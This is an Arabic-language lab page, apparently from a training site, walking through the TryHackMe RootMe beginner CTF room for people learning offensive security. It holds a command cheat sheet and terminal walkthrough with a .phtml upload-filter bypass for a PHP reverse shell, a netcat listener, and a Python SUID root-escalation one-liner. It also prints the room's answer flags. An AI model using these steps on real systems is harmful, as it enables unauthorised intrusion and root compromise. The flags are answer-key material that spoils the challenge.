Lab: RootMe | STY IT Labs
STY IT Labs · TryHackMe CTF Room

Lab: RootMe
CTF for Beginners

تحدي CTF للمبتدئين — هتستخدم Nmap وGobuster لاكتشاف الـ directories، ترفع Reverse Shell بـ File Upload Bypass، وتعمل Privilege Escalation للـ Root باستخدام SUID.

Easy Difficulty File Upload Bypass Reverse Shell SUID PrivEsc GTFOBins Web Exploitation
# root@thm S ROOTME
Easy
1 – 2 ساعة
4 مهام
300 XP
TryHackMe
Linux (Ubuntu)

عن اللاب

RootMe هي غرفة CTF مصممة للمبتدئين على TryHackMe. الهدف بسيط: Can you root me? — هتمشي من الـ Reconnaissance للـ Root في رحلة كاملة تشمل Web Exploitation عن طريق ثغرة File Upload، ثم Privilege Escalation باستخدام Python SUID.

الـ target بيشتغل على port 80 بـ Apache وport 22 بـ SSH. هتلاقي hidden directory اسمه /panel/ فيه upload form، وتاني directory اسمه /uploads/ هتنفّذ منه الـ Reverse Shell.

اللاب ده هيعلّمك File Upload Bypass — الـ server بيبلوك .php لكن هتلاقي طريقة تتجاوزها بـ extension تاني.

RootMe Badge

أكمل اللاب واحصل على الـ Badge الرسمي — أضفه لملفك على LinkedIn

مسار الهجوم — Attack Path

1

Reconnaissance — Nmap Scan

فحص الـ ports: بتلاقي port 22 (SSH) وport 80 (HTTP/Apache 2.4.29)

port 22port 80Apache 2.4.29
2

Directory Enumeration — Gobuster

فحص الـ directories: بتلاقي /panel/ (upload form) و/uploads/ (ملفاتك المرفوعة)

/panel//uploads/
3

File Upload Bypass — Reverse Shell

الـ server بيبلوك .php — غيّر الـ extension لـ .phtml أو .php5 ورفع الـ reverse shell

.phtml bypassNetcat listener
4

User Flag — /var/www/user.txt

بعد الـ shell، ابحث عن الـ user flag في /var/www/

THM{y0u_g0t_a_sh3ll}
5

Privilege Escalation — SUID Python

ابحث عن files بـ SUID: find / -perm /4000 — هتلاقي /usr/bin/python

SUIDGTFOBinsPython exploit
6

Root Flag — /root/root.txt

بعد الـ Privilege Escalation، اقرأ الـ root flag من /root/root.txt

THM{pr1v1l3g3_3sc4l4t10n}

مراحل اللاب

Nmap Recon
Dir Enum
File Upload
Reverse Shell
SUID PrivEsc
Root 🏆

أهم الأوامر — Commands Cheat Sheet

الأمرالهدفالمرحلة
nmap -sV -sC -A <IP>فحص الـ ports والـ servicesRecon
gobuster dir -u http://<IP> -w <wl>اكتشاف /panel/ و/uploads/Enum
mv shell.php shell.phtmlbypass الـ PHP upload filterBypass
nc -lvnp 4444فتح Netcat listenerShell
find / -perm /4000 2>/dev/nullالبحث عن SUID filesPrivEsc
python -c 'import os; os.execl("/bin/sh", "sh", "-p")'استغلال Python SUID للـ rootRoot
find / -name "user.txt" 2>/dev/nullإيجاد الـ user flagFlag
cat /root/root.txtقراءة الـ root flagFlag
python3 -c 'import pty;pty.spawn("/bin/bash")'تحسين الـ shell (TTY)Shell

المهام والأسئلة

Task 1 — Deploy the Machine

Connect to TryHackMe VPN · Deploy the target machine

+10 XP

Task 2 — Reconnaissance

nmap scan · 2 open ports · Apache version · SSH service · Gobuster /panel/ /uploads/

+80 XP
03

Task 3 — Getting a Shell

Upload PHP reverse shell · Bypass .php filter (.phtml) · Netcat listener · find user.txt

+130 XP
04

Task 4 — Privilege Escalation

find SUID files · python /usr/bin · GTFOBins exploit · read /root/root.txt

+80 XP
▶ أدخل الـ Flag الخاص بمهمتك الحالية

Terminal — Full Attack Walkthrough

root@kali — RootMe Attack
# ── STEP 1: Nmap Scan ──────────────────────
└─# nmap -sV -sC -A 10.10.52.69
22/tcp open ssh OpenSSH 7.6p1 Ubuntu
80/tcp open http Apache httpd 2.4.29

# ── STEP 2: Gobuster ───────────────────────
└─# gobuster dir -u http://10.10.52.69 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
/panel/    (Status: 200) ← Upload form!
/uploads/  (Status: 301) ← Your files here

# ── STEP 3: Bypass .php filter ─────────────
└─# mv php-reverse-shell.php shell.phtml
└─# nc -lvnp 4444
Listening on 0.0.0.0 4444
Connection received on 10.10.52.69
$ id
uid=33(www-data) gid=33(www-data)

# ── STEP 4: SUID PrivEsc ───────────────────
$ find / -perm /4000 2>/dev/null | grep python
/usr/bin/python
$ python -c 'import os; os.execl("/bin/sh","sh","-p")'
# id
uid=33(www-data) gid=33(www-data) euid=0(root)
# cat /root/root.txt
THM{pr1v1l3g3_3sc4l4t10n}

└─#

المهارات المكتسبة

Nmap Reconnaissance
Gobuster Dir Enum
File Upload Exploit
PHP Filter Bypass
Reverse Shell (PHP)
Netcat Listener
SUID Exploitation
GTFOBins
Privilege Escalation
Shell Stabilization

الأدوات المستخدمة

nmapPort Scanning & Service Detection
gobusterDirectory Enumeration /panel/ /uploads/
pentestmonkey/php-reverse-shellPHP Reverse Shell Script
netcat (nc)Listener للـ Reverse Shell
GTFOBinsمرجع استغلال Python SUID
python ptyShell Stabilization
بعد ما تخلص اللاب، ارجع هنا وهتلاقي الـ Writeup التفصيلي متاح — حاول تحل لوحدك الأول!